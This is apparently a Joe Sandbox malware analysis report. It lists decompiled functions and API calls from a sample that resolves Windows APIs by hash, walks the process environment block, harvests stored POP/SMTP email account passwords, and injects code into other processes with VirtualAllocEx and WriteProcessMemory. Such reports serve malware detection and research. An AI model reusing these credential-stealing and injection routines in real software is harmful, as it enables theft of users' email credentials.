LoadLibraryW.KERNEL32(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00408B2C, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408B2C(struct HINSTANCE__* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe0cf5891, 0, 0);
				_t4 = FreeLibrary(_a4); // executed
				return _t4;
			}

0x00408b39
0x00408b41
0x00408b44

APIs

FreeLibrary.KERNEL32(?,00000000,E0CF5891,00000000,00000000), ref: 00408B41

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 450bda5b085385e41399d185e0c6d92315b9743f5e19a8ad8642e29fe69941a3
Instruction ID: 291ca984118c00001a410e8fe814b9ebecee15bf7cc635df9db1cfcd8d33b31d
Opcode Fuzzy Hash: 450bda5b085385e41399d185e0c6d92315b9743f5e19a8ad8642e29fe69941a3
Instruction Fuzzy Hash: 0EB092B004820C3EAE002EF19C05C3B3E8DEA4454870044757E0CE5051EA36DE1110A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

FindClose.KERNEL32(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNEL32(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF, Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNEL32(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.SHLWAPI(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004044EE, Relevance: 1.3, APIs: 1, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044EE(void* __ecx, void* __eflags, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16) {
				intOrPtr _v8;
				void* _t25;
				void* _t28;
				long _t29;
				signed int _t36;
				void* _t45;
				signed int _t53;
				signed int _t55;
				signed int _t58;
				void* _t61;
				void* _t63;

				_t36 = 0x400;
				_t53 = 2;
				_t58 = 0x400;
				_t61 = E00402B7C( ~(0 | __eflags > 0x00000000) | 0x00000400 * _t53);
				if(_t61 == 0) {
					L4:
					_t25 = 0;
				} else {
					_v8 = 0x800;
					while(1) {
						E00402B4E(_t61, 0, _t58 + _t58);
						_t28 = E004044A7(_a8, _a12, _a16, _t61, _t58, _a4);
						_t13 = _t58 - 1; // 0x3ff
						_t63 = _t63 + 0x24;
						_t66 = _t28 - _t13;
						if(_t28 != _t13) {
							break;
						}
						_v8 = _v8 + 0x800;
						_t36 = _t36 + 0x400;
						E00402BAB(_t61);
						_t55 = 2;
						_t58 = _t36;
						_t61 = E00402B7C( ~(0 | _t66 > 0x00000000) | _t36 * _t55);
						if(_t61 != 0) {
							continue;
						} else {
							goto L4;
						}
						goto L5;
					}
					_t29 = GetLastError();
					_t45 = 2;
					__eflags = _t29 - _t45;
					if(_t29 != _t45) {
						_t25 = _t61;
					} else {
						E00402BAB(_t61);
						goto L4;
					}
				}
				L5:
				return _t25;
			}

0x004044f5
0x004044fe
0x00404501
0x00404512
0x00404517
0x0040457c
0x0040457c
0x00404519
0x00404519
0x00404520
0x00404527
0x0040453a
0x0040453f
0x00404542
0x00404545
0x00404547
0x00000000
0x00000000
0x00404549
0x00404550
0x00404557
0x00404562
0x00404565
0x00404574
0x0040457a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040457a
0x00404585
0x0040458d
0x0040458e
0x00404590
0x0040459b
0x00404592
0x00404593
0x00000000
0x00404598
0x00404590
0x0040457e
0x00404584

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Part of subcall function 004044A7: GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?,00000000,F66BE5A2,00000000,00000000), ref: 004044CB

GetLastError.KERNEL32 ref: 00404585

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateErrorFreeLastPrivateProfileString
String ID:
API String ID: 4065557613-0
Opcode ID: 07df6e299c1e51546a6fce8a11171accc3f3248d34e9f20b559e9614b6af16c3
Instruction ID: 4921b4961515552709d35feb502e82dc384c9b3b90426e204c6f6ec5e0b55acd
Opcode Fuzzy Hash: 07df6e299c1e51546a6fce8a11171accc3f3248d34e9f20b559e9614b6af16c3
Instruction Fuzzy Hash: 901157B26011043BEB249EA9AD46F7FB768DF84368F10413FFB05E61D0EA789C00069C

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E, Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = CloseHandle(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

CloseHandle.KERNEL32(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00406472, Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNEL32(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040434D, Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069, Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

PopAccount, xrefs: 0040D0B6
SmtpPort, xrefs: 0040D0EB
SmtpAccount, xrefs: 0040D0FA
PopServer, xrefs: 0040D099
Technology, xrefs: 0040D08D
SmtpServer, xrefs: 0040D0DC
EmailAddress, xrefs: 0040D074
SmtpPassword, xrefs: 0040D117
PopPassword, xrefs: 0040D0D0
PopPort, xrefs: 0040D0A7

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040317B, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040317B(intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr _t17;
				void* _t21;
				intOrPtr* _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t33;
				signed int _t34;

				_push(_t25);
				_t1 =  &_v8;
				 *_t1 = _v8 & 0x00000000;
				_t34 =  *_t1;
				_v8 =  *[fs:0x30];
				_t23 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xc)) + 0xc));
				_t31 = _t23;
				do {
					_v12 =  *((intOrPtr*)(_t31 + 0x18));
					_t28 = E00402C77(_t34,  *((intOrPtr*)(_t31 + 0x28)));
					_pop(_t26);
					_t35 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						E004032EA(_t35, _t28, 0);
						_t21 = E00402C38(_t26, _t28, E00405D24(_t28) + _t19);
						_t33 = _t33 + 0x14;
						if(_a4 == _t21) {
							_t17 = _v12;
						} else {
							goto L3;
						}
					}
					L5:
					return _t17;
					L3:
					_t31 =  *_t31;
				} while (_t23 != _t31);
				_t17 = 0;
				goto L5;
			}

0x0040317f
0x00403180
0x00403180
0x00403180
0x0040318d
0x00403196
0x00403199
0x0040319b
0x004031a1
0x004031a9
0x004031ab
0x004031ac
0x004031ae
0x00000000
0x004031b0
0x004031b3
0x004031c2
0x004031c7
0x004031cd
0x004031e0
0x00000000
0x00000000
0x00000000
0x004031cd
0x004031d7
0x004031dd
0x004031cf
0x004031cf
0x004031d1
0x004031d5
0x00000000

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ntrwe.exe PID: 2292 Parent PID: 1388 ntrwe.exeCOMMON

Execution Graph

Execution Coverage:	32.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	202
Total number of Limit Nodes:	18

Executed Functions

Function 00D46EF0, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 250
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00D470DC

Strings

HM^, xrefs: 00D4714D
HM^, xrefs: 00D471D8
HM^, xrefs: 00D4702E

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: CreateProcessUser
String ID: HM^$HM^$HM^
API String ID: 2217836671-1882769842
Opcode ID: fdd9780cb9684f330182018345d8e3a9aa3bed1c70daadcc02e16276c7a05451
Instruction ID: 595a5588ecd8726b55657221944ab848ab1725c517f35060c3e756246c261bb5
Opcode Fuzzy Hash: fdd9780cb9684f330182018345d8e3a9aa3bed1c70daadcc02e16276c7a05451
Instruction Fuzzy Hash: 1891CF74D0026D8FCB25CFA4C880BDDBBB5BF0A304F1494AAE548B7250DB709A99DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00408234, Relevance: 1.8, APIs: 1, Instructions: 273COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,?,?,?,?), ref: 0040E4D1

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: a2dbb5b1da5ee3c6eaf2582639dea5c17c3e217dd318508f20cd46b39ed934fa
Instruction ID: a25fde541b0990ae14eead17676c0b4b6dcde928963c2df4a6566852aa554a3d
Opcode Fuzzy Hash: a2dbb5b1da5ee3c6eaf2582639dea5c17c3e217dd318508f20cd46b39ed934fa
Instruction Fuzzy Hash: BDC1E074E00218DFDB24CFA9C985B9EBBB1BF49304F1485AAE818B7391D734A991CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00408232, Relevance: 1.8, APIs: 1, Instructions: 264COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,?,?,?,?), ref: 0040E4D1

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: d84a9581065bea5ab9e85d75be22292cd936a720c9caa5b3987387942185a237
Instruction ID: 996d41a502c5270074a87a85f35e698aa0e3f5c373d23518fb0d508d0efae300
Opcode Fuzzy Hash: d84a9581065bea5ab9e85d75be22292cd936a720c9caa5b3987387942185a237
Instruction Fuzzy Hash: 04B1F270D00218DFDB24CFA9C885B9EBBB1BF49304F1485AAE818B7391D734A991CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00D49CB8, Relevance: 1.6, APIs: 1, Instructions: 119injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D49D93

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2ccfdf52a20c1f48aadbae073540c88eea5de387bdf3790370b06c24e98b6dcf
Instruction ID: 9eee1178883e0c6441d629eec0ccfc8afe4b0b46261190b6e5482d9909d6cb1d
Opcode Fuzzy Hash: 2ccfdf52a20c1f48aadbae073540c88eea5de387bdf3790370b06c24e98b6dcf
Instruction Fuzzy Hash: 4F41A9B5D012589FCF00CFA9D984AEEFBF1BB49314F24942AE815B7200D378AA55CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00D49CC0, Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D49D93

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 874ccf16aac35b90a849370b30c23be165b8769ca7365c504a10f890693283dc
Instruction ID: 76121b078509031c3333c4778d825cd49786684acea0ebdda633be1b5917818f
Opcode Fuzzy Hash: 874ccf16aac35b90a849370b30c23be165b8769ca7365c504a10f890693283dc
Instruction Fuzzy Hash: 294199B4D012589FCF00CFA9D984ADEFBF1BB49314F24942AE818B7200D778AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00D499D0, Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00D49A82

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 167fd68fb3f5019678719f1a27cb48ae77b042d8bdcdfc4d9a4479e45fcbfd11
Instruction ID: a0c4fbb1b145f1719944c729265275a1b0ab76233a9345a7fa32f11497f5f617
Opcode Fuzzy Hash: 167fd68fb3f5019678719f1a27cb48ae77b042d8bdcdfc4d9a4479e45fcbfd11
Instruction Fuzzy Hash: DD41A9B4D002589FCF00CFA9D884ADEFBB1BB49310F24941AE815B7300D734A906CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00D499D8, Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

